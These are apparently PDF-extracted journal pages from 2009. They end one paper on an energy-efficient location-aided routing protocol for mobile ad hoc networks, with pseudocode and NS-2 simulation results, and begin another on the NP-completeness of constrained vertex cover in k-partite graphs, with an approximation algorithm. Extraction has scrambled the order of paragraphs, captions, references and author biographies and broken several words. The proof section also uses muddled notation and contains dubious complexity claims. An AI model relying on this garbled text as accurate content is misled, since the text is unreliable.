AODV [22] protocol is a distance vector routing protocol that operates on-demand. There are no periodic routing table exchanges. Routes are only set up when a node wants to communicate with some other node. Only nodes that lie on the path between the two end nodes keep information about the route. When a node wishes to communicate with a destination node for which it has no routing information, it initiates route discovery. The aim of route discovery is to set up a bidirectional route from the source to the destination. Route discovery works by flooding the network with route request (RREQ) packets. Each node that receives the RREQ looks in its routing table to see if it is the destination or if it has a fresh enough route to the destination. If it does, it sends a unicast route reply (RREP) message back to the source, otherwise it rebroadcasts the RREQ. The RREP is routed back on a temporary reverse route that was created by the RREQ. Each node keeps track of its local connectivity, i.e., its neighbors. This is performed either by using periodic exchange of HELLO messages, or by using feedback from the link layer upon unsuccessful transmission. If a route in the ad hoc network is broken then some node along this route will detect that the next hop router is unreachable based on its local connectivity management. If this node has any active neighbors that depend on the broken link, it will propagate route error (RERR) messages to all of them. A node that receives a RERR will do the same check and if necessary propagate the RERR further in order to inform all nodes concerned. III.
Table I shows how θ decides the area ID of each MN. When a source MN needs to transmit data, it first queries BS about the area id of the destination MN, then data packets are flooded into that area only. The use of location information of the destination mobile node limits the search for a new route to one of the six areas of the ad hoc network.
ENERGY EFFICIENT LOCATION AIDED ROUTING PROTOCOL APPROACH
Figure 2. The definition of the six areas in EELAR
This section presents our proposed Energy Efficient Location Aided Routing (EELAR) protocol approach. The proposed protocol is a modification to the ad hoc routing protocol LAR [1], [19]. EELAR utilizes location information
61
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
TABLE I.
area ID of D. When BS determines the area ID of D, it sends back DstIDRp (Destination ID Reply) packet to S containing the network area ID of D. If the BS determines that S and D are not in the same area then BS sends a control packet to S indicating that the data flow will be through BS, so each data packet from S to D will contain a "toBS" flag in the header forcing all nodes in S's area to drop these packets and not to handle them. Then, BS forwards data packets from node S to the area where D belongs only. When the source node S wants to transmit data to node D and BS determined that S and D are in the same network area, then BS will reply with a packet which indicates that the data flow will be done within the network area of node S and not through BS. This frees BS from being involved in the communication between S and D and BS will not be a performance bottleneck. Then node S floods its own area with data packets that are directed to D. If node B (which is in the same area as node S) receives a data packet directed to D and originating from S (B may receive this packet from any node in same area of S) then it measures the distance between itself and D and compares it with the distance between S and D. If B's distance is less than the S's distance then B will forward the packet. Otherwise, it will drop it.
THE DEFINITION OF THE SIX NETWORK AREAS IN EELAR BASED ON Θ
Area ID 1 2 3 4 5 6
Range of angle θ 0 ≤ θ < π/3 π/3 ≤ θ < 2π/3 2π/3 ≤ θ < π π ≤ θ < 4π/3 4π/3 ≤ θ < 5π/3 5π/3 ≤ θ < 2π
Fig. 3 shows the pseudo code of EELAR. As Fig. 3 shows, the algorithm is multithreaded. First, it creates a thread that executes BuildUpdatePositionTable which builds and updates the PT in BS. Then, EELAR executes an infinite loop. In this loop, whenever a new mobile node enters the network area of BS then BuildUpdatePositionTable procedure is called so that the new mobile node will report its position to BS and hence, its position is included in the PT in BS. When a source mobile node S wants to send data packets to a destination mobile node D, EELAR creates a new thread that executes DataTransmission procedure. Multiple pairs of mobile nodes could communicate in parallel using parallel threads.
algorithm EELAR ( ) { Thread (BuildUpdatePositionTable); // create a thread // that executes BuildUpdatePositionTable procedure while (1) { if ( a mobile node enters network area of the base station) Thread (BuildUpdatePositionTable) if (source mobile node wants to send data to a destination mobile node) Thread (DataTransmission); // create a thread that // executes DataTransmission procedure } // end while } // end EELAR
Fig. 4 shows the pseudo code of BuildUpdatePositionTable procedure. As Fig. 4 shows, BuildUpdatePositionTable procedure starts by handling the case when a mobile node A enters the network range of BS. A uses its location estimation method to determine its (x, y) position. A sends a broadcast message (PosReq message) that contains its position. PosReq message is a request to join the network of BS. PosReq contains the location of A. When BS receives this message it updates its PT. BS determines A's angle θ; distance d between A and BS; and classifies A as belonging to one of the six network areas. Then, BS replies with ID Reply message (IDRp message) to A that contains the area ID of A, hence A knows its area ID. Then, BuildUpdatePositionTable continues where BS periodically broadcasts BEACON packets to all MNs in the network in order to build PT that contains the network area ID of each MN that resides within the transmission range of BS. This scenario is repeated between BS and all MNs periodically as long as the mobile nodes are still in this network. When a mobile node stops sending the broadcast packet (PosReq) then it is marked unreachable by BS after a timer T expires.
Figure 3. EELAR pseudo code
procedure BuildUpdatePositionTable ( ) // build and // update position table in BS Input: mobile node A; base station X; { Control packet PosReq; // position request // message containing x, y coordinates if (node A enters network area controlled by X){ A sends PosReq to X; X: addPositionTable ( A, x,y); X: sends IDRp to A containing area ID of A; }//end if Repeat every time T X sends BEACON message to A; A sends PosReq to X; X: UpdatePositionTable (A, x, y ); until valid timer expires X marks node A unreachable } // end BuildUpdatePositionTable
Fig. 5 shows the pseudo code of DataTransmission procedure. DataTransmission procedure is called by EELAR when a source mobile node S sends data packets to a destination mobile node D. As Fig. 5 shows, first, S requests from BS to initiate a route discovery to node D by sending a DstPosReq (destination position request) packet to BS that requests the position information of D. BS checks if the position of D in PT is out of date, if so BS sends a small BEACON message to node D requesting its new location information to avoid out of date location information and updates its PT. Then, BS searches its position table for the
Figure 4. BuildUpdatePositionTable pseudo code
62
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
on random way point model [20] where a mobile node moves to a new position and pauses there for time period between 0 to 3 seconds, then it move to another position.
procedure DataTransmission ( ) // a source mobile node // S sends data to destination mobile node D Input: Source node S, destination node D, base station X; { // S initiates data transmission to D // S requests X to initiate routing discovery S sends DstPosReq to BS; X checks PT for position of D; if (position of D in PT is out of date){ X sends BEACON message to D; D sends PosReq to X; X: UpdatePositionTable (A, x, y ); } // end if X searches PT for position of D; X sends DstIDRp to S; // message contains // area ID of D if (isNotIntheSameArea (S, D) ) { S sets toBS flag in header of all packets to D; // nodes in same area as S will drop the packet S sends data to X; X routes data to D; // BS floods message to // area of D } // end if else { // S floods message to its own area S sends data to same area nodes for each node B in S's area network { if (distance (B,D) < distance (S, D) ) { B forwards this packet; else B drops this packet; } // end for } //end else } // end procedure
TABLE II. Parameter Simulation duration
500 sec
Setting Value
Network area Number of mobile nodes Mobility model Pause time
1500 m x 1500 m 50,100,150,200,250 Random way point model 0 to 3 sec
Node transmission range
250 m
Data packet size Number of CBR sources CBR rate Mobile node speed
512 bytes 20% of MNs 2 packets per second 5 to 30 m/s
We compare performance of EELAR with AODV, LAR, and DSR which are well known routing protocols in MANETs. The measured performance metrics are control overhead and the data packets delivery ratio. The control overhead is the number of control packets divided by the number of delivered data packets in the network, and the data packets delivery ratio is the number of received data packets divided by the total number of sent data packets. In the first experiment we measure the control overhead in the network of the four protocols as a function of the average speed of mobile nodes. The number of MNs in the network was set to 100 and the average speed of MNs was varied from 5 to 30 m/s. The result is shown in Fig. 6. As the figure shows, for all compared protocols the overhead increases slightly as the average speed of MNs increases. In addition, EELAR protocol has the smallest control overhead among the four compared protocols. LAR has the second smallest control overhead, AODV has the third smallest control overhead, and DSR has the worst control overhead. The justification for the small control overhead in EELAR compared to the rest of protocols is that control packets used in discovering a new route are limited to a smaller zone.
Figure 5. DataTransmission pseudo code
The benefit DataTransmission procedure is to make the amount of data that can be transmitted and received at time t more than the available bandwidth of BS through not involving BS with data transmission when this data transmission is between nodes that are in the same area. IV.
NS2 simulation environment settings
EXPERIMENTAL RESULTS
In order to validate the proposed protocol and show its efficiency we present simulations using network simulator version 2 (NS-2). NS-2 is a very popular network simulation tool. It uses C language for protocol definition and TCL scripting for building the simulation scenarios [21]. The simulation environment settings used in the experiments are shown in Table II. The simulation duration is 500 seconds and the network area is 1500 meter x 1500 meter that includes variable number of mobile nodes ranging from 50 to 250. A Constant Bit Rate (CBR) is generated as a data traffic pattern at a rate of 2 packets per second, and 20% of the mobile nodes are selected randomly as CBR sources. The scenario of nodes mobility is generated randomly based
Figure 6. Control overhead versus average speed
63
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
In the second experiment we measure the delivery ratio of data packets for the four compared protocols as a function of the average speed of mobile nodes. The number of MNs in the network was set to 100 and the average speed of MNs was varied from 5 to 30 m/s. The result is shown in Fig. 7. As the figure shows, for all compared protocols the data delivery ratio decreases slightly as the average speed of MNs increases. In addition, EELAR protocol has the highest delivery ratio of data packets among the four compared protocols. LAR has the second highest delivery ratio, AODV has the third highest delivery ratio, and DSR has the worst delivery ratio. As an explanation to the good delivery ratio in EELAR is that since control overhead is smaller (as shown in first experiment), the battery life of mobile nodes is longer, and hence routes are maintained for longer time. One reason for loss of data packets is the loss of the routes due to power shortage.
Figure 7. Data packets delivery ratio versus average speed
In the third experiment we measure the control overhead in the network of the four protocols as a function of the number of mobile nodes. The average speed of MNs was set to 15 m/s and the number of mobile nodes in the network was varied from 50 to 250 MNs. The result is shown in Fig. 8. The simulation results show that for all compared protocols the control overhead in the network is increased slightly as the node density of the network is increased. In addition, EELAR protocol has the smallest control overhead among the four compared protocols. LAR has the second smallest control overhead, AODV has the third smallest control overhead, and DSR has the worst control overhead. The justification of the improvement in control overhead in EELAR compared to the other three protocols is same as the justification presented in the case of the first experiment.
Figure 8. Control overhead versus number of MNs in the network
In the fourth experiment we measure the delivery ratio of data packets in the network of the four protocols as a function of the number of mobile nodes. . The average speed of MNs was set to 15 m/s and the number of mobile nodes in the network was varied from 50 to 250 MNs. The result is shown in Fig. 9. As the figure shows, for LAR, AODV and DSR the data delivery ratio increases very slightly and for EELAR the data delivery ratio remains the same as the number of MNs increases. In addition, EELAR protocol has the highest delivery ratio of data packets among the four compared protocols. Delivery ratio in EELAR never goes below 95%. LAR has the second highest delivery ratio, AODV has the third highest delivery ratio, and DSR has the worst delivery ratio. The justification of the improvement in delivery ratio in EELAR compared to the other three protocols is same as the justification presented in the case of the third experiment.
Figure 9. Data packets delivery ratio versus number of MNs in the network
64
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
In the last experiment we determine the optimal number of network areas that the network should be divided into, which produces the smallest control overhead. So we study the effect of varying number of network areas on control overhead in EELAR. Fig. 10 shows the result. In the experiment number of network areas was varied from 1 to 20, number of mobile nodes was set to 250 and the average speed was set to 15 m/s. As the figure shows the control overhead keeps decreasing as the number of network areas increases until this number reaches 6, then the control overhead starts increasing as we keep increasing number of network areas. This is explained as follows. For the control overhead decrease part: The idea of EELAR is to make significant reduction in control overhead by limiting the area of discovering a new route to a smaller zone. Thus, control overhead is reduced as number of areas increases. For the control overhead increase part: Increasing number of areas increases routes loss. When there is a very large number of areas and due to mobility of nodes, there is a higher probability that a node leaves its original area and enters a new area very quickly during a short period of time. Hence, in the case of larger number of areas when a source node initiates a transmission to a destination node, the possibility of lost routes during transmission period is higher than that in the case of smaller number of area. This leads to increased control overhead. This increased control overhead becomes worse as the number of areas keeps increasing.
V.
CONCLUSION
This paper proposed an Energy Efficient Location Aided Routing Protocol (EELAR) that is an optimization to the Location Aided Routing (LAR). EELAR makes significant reduction in the energy consumption of the mobile nodes batteries through limiting the area of discovering a new route to a smaller zone. Thus, control packets overhead is significantly reduced and the mobile nodes life time is increased. To show the efficiency of the proposed protocol we presented simulations using NS-2. Simulation results show that our proposed EELAR protocol leads to an improvement in control overhead and delivery ratio compared to AODV, LAR, and DSR protocols. In addition, simulation results show that there is a tradeoff between decreasing control overhead by increasing number of areas and increasing route loss by increasing the number of network areas due to node mobility. This suggests that optimal number of network area is dependent on the nodes mobility. Suggestions for future work include developing a method to adaptively use one of the forwarding methods of the position-based routing protocol based on the surrounding environments, and dividing the network into a number of areas that varies dynamically based on the node mobility pattern. ACKNOWLEDGMENT
Thus, our approach of dividing the network area into six sub-areas is not the optimal solution in all cases. There is a tradeoff between decreasing control overhead by increasing number of areas and route loss by increasing the number of network areas due to node mobility. This suggests that optimal number of network area is dependent on the nodes mobility.
The author wishes to acknowledge Mohamed B. AbuBaker, Shaaban A. Sahmoud and Mahmoud Alhabbash from the computer engineering department at IUG for their work, useful feedback, and comments during the preparation of this paper. REFERENCES [1]
[2]
[3]
[4]
[5]
[6]
Figure 10. Control overhead in EELAR versus number of network areas
[7]
[8]
65
T. Camp, J. Boleng, B. Williams, L. Wilcox, and W. Navidi, "Performance comparision of two location- based routing protocols for ad hoc networks," in Proc. IEEE INFOCOM, 2002, p. 1678-1687. W. Zhao, and M. H. Ammar, "Message ferrying: proactive routing in highly-partitioned wireless ad hoc networks," in Proc. Distributed Computing Systems, FTDCS 2003, 2003. N. Aslam, W. Robertson, S. C. Sivakumar, and W. Phillips, "Energy efficient cluster formation using multi criterion optimization for wireless sensor networks," in Proc. 4th IEEE Consumer Communications and Networking Conference (CCNC), 2007. N. Aslam, W. Phillips, W. Robertson, and S. Sivakumar, "Extending network life by using mobile actors in cluster-based wireless sensor and actor networks," in Proc. Wireless Sensor and Actor Networks (WSAN 08), Ottawa, ON, 2008. J. Broch, D. B. Johnson, and D. A. Maltz, "The dynamic source routing protocol for mobile ad hoc networks," draft-IETF-manet-dsr-03.txt, Internet Draft, Oct. 1999. B. Karp, and H. T. Kung, “GPSR: Greedy perimeter stateless routing for wireless networks,” in Proc. IEEE/ACM MOBICOM, Boston, MA, Aug. 2000. p. 243–254. J. Li, J. Jannotti, D. S. J. De Couto, D. R. Karger, and R. Morris, “A scalable location service for geographic ad hoc routing,” in Proc. 6th Annual IEEE/ACM MOBICOM, Boston, MA, Aug. 2000, p. 120. W. KieS, H. FuSler, and J. Widmer, “Hierarchical location service for mobile ad hoc networks,” in Proc. ACM SIGMOBILE, vol. 8, no. 4, Oct. 2004, p. 47-58.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009 [9]
[10] [11]
[12]
[13] [14] [15]
[16]
[17] [18]
[19]
[20]
[21]
[22]
[23]
C. E. Perkins, and P. Bhagwat, “Highly dynamic Destination Sequenced Distance-Vector Routing (DSDV) for mobile computers,” Comp. Commum. Rev., pp. 234-244, Oct. 1994. K. Akkaya, and M. Younis. "A survey on routing protocols for wireless sensor networks. Ad Hoc Networks," 3(3), pp. 325–349, May 2005. C. Yu, B. Lee, and H. Youn, “Energy efficient routing protocols for mobile ad hoc networks,” Wireless Communications and Mobile Computing, vol. 3, no. 8, pp. 959–973, 2003. A. Quintero, D. Li, and H. Castro, “A location routing protocol based on smart antennas for ad hoc networks,” Journal of Network and Computer Applications, Elsevier, vol. 30, pp. 614–636, 2007. Dragos¸ Niculescu, and B. Nath, “Ad hoc Positioning System (APS) using AOA”, in Proc. IEEE INFOCOM, 2003. Z. Hass, and M. Pearlman, “The performance of query control schemes for the zone routing protocol”, in Proc. ACM SIGCOMM, Aug. 1998. H. C. Liao, and C. J. Lin, “A WiMAX-based connectionless approach for high mobility MANET”, in Proc. 9th International Conference on Advance Communication Technology (ICACT 2007), Phoenix Park, Korea, Feb. 2007. H. C. Liao, and C. J. Lin, “A Position-based connectionless routing algorithm for MANET and WiMAX under high mobility and various node densities,” Information Technology Journal , 7 (3), pp 458-465, 2008. D. Johnson, D. Maltz, and Y. Hu, "The dynamic source routing protocol", IETF Internet draft, Jul. 2004. Y. Zhao, L. Xu, and M. Shi, ”On-Demand Multicast Routing Protocol with Multipoint Relay (ODMRP-MPR) in mobile ad-hoc network,” in Proc. ICCT2003, 2003, p. 1295-1300. Y. B. Ko, and N. H. Vaidya, "Location-Aided Routing (LAR) in mobile ad hoc networks," in Proc. 4th annual ACM/IEEE international conference on Mobile computing and networking, 1998. W. Navidi and T. Camp, “Stationary distributions for the random waypoint mobility model,” IEEE Transactions on Mobile Computing, 3(1), 2004. "The Network Simulator ns-2," Information Sciences Institute, USA Viterbi School of Engineering, Sep. 2004, Available: http://www.isi.edu/nsnam/ns/ C. Perkins, E. Belding-Royer, and S. Das, “Ad hoc On-demand Distance Vector (AODV) routing,” University of Cincinnati, Internet draft, July 2003. H. Okada, A. Takano, and K. Mase, “Analysis and proposal of positionbased routing protocols for vehicular ad hoc networks,” IEICE Transactions, 91-A(7), pp. 1634-1641, 2008.
Assistantship from the Department of Electrical and Computer Engineering at Syracuse University in Syracuse, in New York (USA) during the period of 1990-1994. He also received a Deanery of Scientific Research grants from IUG during the academic years of 01/02, 03/04, and 07-08. Dr. Mikki was a software consultant and programmer at Vertechs Software Solutions Inc in Syracuse in New York (USA) during the period from 1991 to 1994. He was also a software consultant at Computer Software Modeling and Analysis in Fayetteville in New York (USA) from January 1993 to March 1993. Dr. Mikki got two funded projects from the European Union (EU): Mediterranean Virtual University (MVU) project from 2004 to 2006 and Open Distance Inter-university Synergies between Europe, Africa and Middle East (ODISEAME) project from 2002 to 2005. Research Interests of Dr. Mikki include High Performance Parallel and Distributed Computing, Grid and Cluster Computing, Wireless and Mobile Networks, Modeling and Design of Digital Computer Systems, Internet Technology and Programming, Internet Performance Measurement Tools and Web-Based Learning
AUTHORS PROFILE Mohammad A. Mikki is an Associate Professor of Parallel and Distributed Computing in the Electrical and Computer Engineering Department at IUG with about fifteen years of research, teaching, and consulting experience in various computer engineering disciplines. Dr. Mikki was the first chairman of the ECE department at IUG in the academic year of 1995-1996. He taught both graduate and undergraduate courses at the ECE department at IUG. In addition he taught several undergraduate courses at the College of Science and Technology, College of Education (currently Al-Aqsa University) and Al-Quds Open University. He was a visiting Professor at the Department of Electrical and Computer Engineering at University of Arizona in Tucson, Arizona (USA) during the academic year of 1999-2000. He was granted DAAD Study Visit Scholarship to Paderborn University in Paderborn in Germany from July 2002 to August 2002 from DAAD (German Academic Exchange Service). Dr. Mikki published about twenty publications in both journals and international conferences. Dr. Mikki got both his Ph.D. and Master of Science in Computer Engineering from Department of Electrical and Computer Engineering in Syracuse University in Syracuse, New York, USA in December 1994 and May 1989 respectively. He also got his Bachelor of Science in Electrical Engineering from the Department of Electrical Engineering at BirZeit University in BirZeit in West Bank in August 1984. Dr. Mikki got a graduate research assistantship from NPAC (North East Parallel Architecture Center) at Syracuse University in Syracuse in New York (USA) during the year of 1989-1990. He also got a Research
66
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Constraint Minimum Vertex Cover in K-Partite Graph: Approximation Algorithm and Complexity Analysis Kamanashis Biswas
S.A.M. Harun
Computer Science and Engineering Department Daffodil International University 102, Shukrabad, Dhaka-1207
[email protected]
Right Brain Solution Flat# B4, House# 45, Road# 27 Banani, Dhaka
[email protected] is proved by Jianer Chen & Iyad A. Kanj [2]. Similarly, H. Fernan & R. Niedermeier has proposed an efficient exact algorithm for constrained bipartite vertex cover is also non deterministic polynomial [4]. This paper shows that the minimum vertex cover in k-partite graph is NP-Complete, provides an approximation algorithm and analyzes its complexity which is polynomial time algorithm.
Abstract – Generally, a graph G, an independent set is a subset S of vertices in G such that no two vertices in S are adjacent (connected by an edge) and a vertex cover is a subset S of vertices such that each edge of G has at least one of its endpoints in S. Again, the minimum vertex cover problem is to find a vertex cover with the smallest number of vertices. Consider a k-partite graph G = (V, E) with vertex k-partition V = P1 ∪ P2 . . . ∪ Pk and the k integers are kp1, kp2, . . . , kpk. And, we want to find out whether there is a minimum vertex cover in G with at most kp1 vertices in P1 and kp2 vertices in P2 and so on or not. This study shows that the constrained minimum vertex cover problem in k-partite graph (MIN-CVCK) is NP-Complete which is an important property of k-partite graph. Many combinatorial problems on general graphs are NP-complete, but when restricted to k-partite graph with at most k vertices then many of these problems can be solved in polynomial time. This paper also illustrates an approximation algorithm for MIN-CVCK and analyzes its complexity. In future work section, we specified a number of dimensions which may be interesting for the researchers such as developing algorithm for maximum matching and polynomial algorithm for constructing k-partite graph from general graph.
II. PRELIMINARY This section presents some basic terms and necessary elaborations which are important to go though the rest of the paper. Definitions that are not included in this section will be introduced as they are needed. A. Bipartite Graph A bipartite graph is any graph whose vertices can be divided into two sets, such that there are no edges between vertices of the same set [8]. A graph can be proved bipartite if there does not exist any circuits of odd length. A set of vertices decomposed into two disjoint sets such that no two vertices within the same set are adjacent. A bigraph is a special case of a k-partite graph with k = 2.
Keywords: Bipartite graph, Clique problem, Constraint minimum vertex cover, NP-Complete, Polynomial time algorithm
I.
INTRODUCTION
NP-Completeness theory is one of the most important developments of algorithm research since its introduction in the early 1970. Its importance arises from the fact that the results have meaning for all researchers who are developing computer algorithms, not only computer scientist but also for the electrical engineers, operation researchers etc. A wide variety of common encountered problems from mathematics, computer science and operations research are known to be NPComplete and the collection of such problems is continuously rising almost everyday. Indeed, the NP-Complete problems are now so pervasive that it is important for anyone concentrated with the computational aspect of these fields to be familiar with the meaning and implementations of this concept. A number of works have already been done as well as going today. For example, Jianer Chen et al. have shown that the complexity of an algorithm for solving vertex cover problem is non deterministic polynomial [3]. Again, the complexity of algorithm of constrained minimum vertex cover in bipartite graph is also non deterministic polynomial which
Figure 2.1: Bipartite Graph
B. K-partite Graph A k-partite Graph (i.e., a set of vertices decomposed into k disjoint sets such that no two vertices within the same set are adjacent) such that every pair of vertices in the k sets are adjacent [9]. If there are p, q, . . . , r vertices in the k sets, the complete k-partite graph is denoted kp,q, . . ., r.
67
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
that at most twice as large as the optimal cover. Let us see a simple procedure [6]. VertexCover (G = (V, E)) While (E ≠∅) do: Select an arbitrary edge (u, v) ≤ E Add both u and v to the vertex cover Delete all edges from E that are incident on either u or v.
(a)
3. Constraint Vertex Cover: The constrained vertex cover of an undirected graph G = (V, E) is a subset V' ⊆ V where the number of vertex is less than or equal to k [here k is kp1 + kp2 + . . . + kpk]. That is, V' ≤ k. We have to decide whether there is a minimum vertex cover in G with at most kp1 vertices in P1 part and kp2 vertices in P2 and so on.
(b)
Figure 2.2: (a) k-partite graph, (b) Complete k-partite graph C. Vertex Cover
D.
Let S be a collection of subsets of a finite set X. The smallest subset Y of X that meets every member of S is called the vertex cover, or hitting set. However, some authors call any such set a vertex cover, and then refer to the minimum vertex cover [6]. Finding the hitting set is an NP-Complete problem. Vertex covers, indicated with no fill vertices, are shown in the figure 2.3 for a number of graphs. In a complete k-partite graph, vertex cover contains vertices from at least K1 stages.
Class P and NP
The class P is the type of problems that can be solved by polynomial time algorithm. For the problem of class P, polynomial time algorithm already exists. For example matrix multiplication algorithm, Prim’s minimum spanning tree algorithm, graph traversal algorithm etc. are polynomial time algorithm. On the other hand, the name NP stands for nondeterministic polynomial. The class NP is the set of problems that can be solved by nondeterministic algorithm in polynomial time or the set of problems whose solution can be verified by a polynomial time algorithm [5]. No deterministic polynomial time algorithm exists for the problems of NP class. E. Properties of NP-Complete Problem Let L1 and L2 be two problems. L1 reduces to L2 (also written L1 ≤ p L2) if and only if there is a way to solve L1 by a deterministic polynomial time using a deterministic algorithm that solves L2 in polynomial time [7]. We can now define the set of NP-Complete problems, which are the hardest problems in NP in the following ways. A problem L is NP-Complete if1. L ∈ NP, and 2. L1 ≤ p L for L1 ∈ NPC. That is, more precisely we can say a problem in NP-Complete if and only if1. The problem is in NP and 2. The problem is polynomial reducible from another problem that is already in NP-Complete. If a problem L satisfies property 2, but not necessarily property 1, then we say that L is NP-hard.
Figure 2.3: Vertex Cover 1. Minimum Vertex Cover: As a detailed example of an NPComplete problem in Section III, we have described the VERTEXCOVER problem. Given a graph G = (V, E), is there a vertex cover, i. e., a subset of nodes, that touches all edges in E and contains not more than k vertices, where k is a given constant? Posed as a language, this problem becomesVERTEX-COVER = {(G, K) | G has vertex cover of at most k vertices.} Typically, this problem can be asked in another form: Instead of asking whether some vertex cover exists, the task is to find the smallest possible vertex cover: Given a graph G = (V, E), find a vertex cover of G having the smallest possible number of vertices. Typically, optimization problems like this one are even more difficult to decide than the related yes/no problems: VERTEXCOVER is NP-Complete, but MIN-VERTEXCOVER is NP-hard, i. e., it is not even in NP itself.
III. VERTEX COVER AND CLIQUE PROBLEM The vertex cover of an undirected graph G = (V, E) is a subset V' ⊆ V such that if (u, v) ∈ E, then u ∈ V' or v ∈ V' (or both). More precisely, it is the optimization problem of finding a vertex cover of minimum size in a graph that is finding a minimum number of vertices that “covers” all edges. The following figure illustrates minimum vertex cover of the graph G.
2. Approximate Vertex Cover: We know that finding the minimum vertex cover of a graph is NP-Complete. However, a very few simple procedures can efficiently find a vertex cover
68
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
The figure 4.1 shows a graph and its complement and illustrates the reduction from CLIQUE to VERTEX-COVER.
Each edge is “covered” by at least one vertex in V' incident on it.
Vertex cover V' of size 2 V' = {z, w} ~G V' is CLIQUE of size k (= 5 here) in ~G
Figure 3.1: Minimum vertex cover of graph G with size V' A clique in an undirected graph G = (V, E) is a subset V' ⊆ V of vertices, each pair of which is connected by an edge in E. Similar to vertex cover problem, the clique problem is also the optimization problem of finding a clique of maximum size in a graph. The practical usage of clique problem is in synthesis and optimization of digital systems to model certain resource allocation constraints etc.
G V' is an is of size k (= 5 here) in G
G V' is a VC of size n-k (= 4 here) in G
Figure 4.1: 3 Easy reductions The reduction algorithm takes as input an instance (G, k) of the clique problem. It computes the complement G, which is easily double in polynomial time. The output of the reduction algorithm is the instance (G, |V| – K) of the vertex-cover problem. To complete the proof, we show that this transformation is indeed a reduction: the k-partite graph has a clique of size k if and only if the graph G has a vertex cover of size |V| – k as shown in the figure 4.1.
Clique of maximum size represented by rectangular area
Instance
of CLIQUE
Figure 3.2: Clique Problem
IV. MAIN THEOREM It is already proved that the MIN-CVCB (Constrained minimum vertex cover in bipartite graph) problem is in NP. Jianer Chen and Iyad A. Kanj have proved the theorem in “Constrained minimum vertex cover in bipartite graphs: complexity and parameterized algorithms” in 2003 [2]. G. Bai and H. Fernau show that exact algorithms could perform much better than theoretical assumption [1]. In this section, the main theorem of this research is described which shows that vertex cover in k-partite graph is NP-Complete.
Figure 4.2: 4-partite graph Here, the above graph G is a 4-partite graph. Suppose that G has a clique V' ⊆ V with size k = |V'|. The subsets produced in the previous graph are as follows:
Theorem: The minimum constrained vertex cover problem is NP-Complete in k-partite graph. Proof: We show that VERTEX-COVER ∈ NP. Suppose, we are given a graph G = (V, E) with vertex k-partition V = P1 ∪ P2 . . . ∪ Pk and the integers kp1, kp2, . . ., kpk where k = kp1 + kp2 + - - - + kpk. The certificate we choose if the vertex cover V' ⊆ V itself. The verification algorithm affirms that |V'| = k, and then it checks, for each edge (u, v) ∈ E, whether u ∈ V' or v ∈ V'. This verification can be performed straightforwardly in polynomial time.
Figure 4.3: Subsets of graphs produced form 4-partite graph Instance of VERTEX-COVER
We can prove that the Vertex-cover problem is NP-hard by showing that CLIQUE ≤ p VERTEX-COVER. This reduction is based on the notion of the “complement” of a graph. Given an k-partite graph G = (V, E), the complement of G is defined as G = (V, E) where E = {(u, v) : (u, v) ∉ E}. In other words, G is the graph containing exactly those edges that are not in G.
Figure 4.4: 3-partite graph
69
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
So V – V' is the vertex cover in G with size |V| – k.
Proposed algorithm for CVCK problem
Let (a, b) be any edge in E, then (a, b) ∉ E, which implies that at least one of a or b does not belong to V'. Since every pair of vertices in V' is connected by an edge of E. Equivalently, at least one of a or b is in V – V', which means that the edge (a, b) is covered by V – V'. Since (a, b) was chosen arbitrarily from E, every edge of E is covered by a vertex in V– V'. Hence the set V – V' has size |V| – k, from a vertex cover for G.
Procedure MIN-CVCK (n, G, U, [Count], K) [ // n is the number of partition, n ≥2 // G is a given Graph // U is the list of vertex in each partition which is size of n // Count is an array contains how many vertices in each partition // K is the array which indicates we can take at most K[i] vertices from the i-th partition]
Int nteger a[], b[], part[], tmpU[] Struct EdgeList[]
Conversely, suppose that G has a vertex cover V' ⊆ V, where |V'| = |V| – k, then for all a, b ∈ V, if (a, b) ∈ E then a ∈ V' or b ∈ V' or both. If a ∈ V' and b ∉ V' then (a, b) ∈ E, V – V' is in a clique and it has size |V| – |V'| = k.
[ // a is a flag array which track whether a vertex is selected or not selected or not used // a is initialized with not used // b is an integer array which contains how many vertices are already used by each partition. // b is initialized with 0 // part is an array indicates the partition in which a vertex lies // EdgeList is an array of structure containing edge]
V. APPROXIMATION ALGORITHM At present, all known algorithms for NP-Complete problems require time which is exponential. It is unknown whether there are any faster algorithms. Therefore, in order to solve an NP-Complete problem for any non-trivial problem size, one of the following approaches is used according to [6]: •
G' = G // Compute part array from U whi hile (True) { tmpU = Extract_max (G')
// find a vertex u from G' with maximum degree (≥1) u ∈ G[v]
If tmpU = NULL Then Break Else If b[ part [ tmpU ] ] + 1 > K [ part [ tmpU ] ]
Approximation: An algorithm which quickly finds a suboptimal solution which is within a certain (known) range of the optimal one. Not all NPComplete problems have good approximation algorithms, and for some problems finding a good approximation algorithm is enough to solve the problem itself.
•
Probabilistic: An algorithm which probably yields good average runtime behavior for a given distribution of the problem instances—ideally, one that assigns low probability to "hard" inputs.
•
Special cases: An algorithm which is probably fast if the problem instances belong to a certain special case.
•
Heuristic: An algorithm which works "reasonably well" on many cases, but for which there is no proof that it is always fast.
// here part[tmpU] is the partition where tmpU lies
a[tmpU] = not selected Else a[tmpU] = selected b[ part [ tmpU ] ] = b[ part [tmpU ] ] + 1 EdgeList = NULL remove all the coincident edge of tmpU from G' and add those edges to EdgeList If Make_decision (G')) = False a[tmpU] = not selected b [ part [ tmpU ] ] = b [ part [ tmpU ] ] - 1 add the edges in EdgeList to G' End If } // End_While // End_Procedure_MIN-CVCK
Procedure node_type Extract _max (G) { Max = 0, MaxDegVertex = NULL for each vertex in V[G] if a[u] = not used and degree[u] > Max Then MaxDegVertex = u Max = degree[u] return MaxDegVertex } // End_ procedure_Extract_max
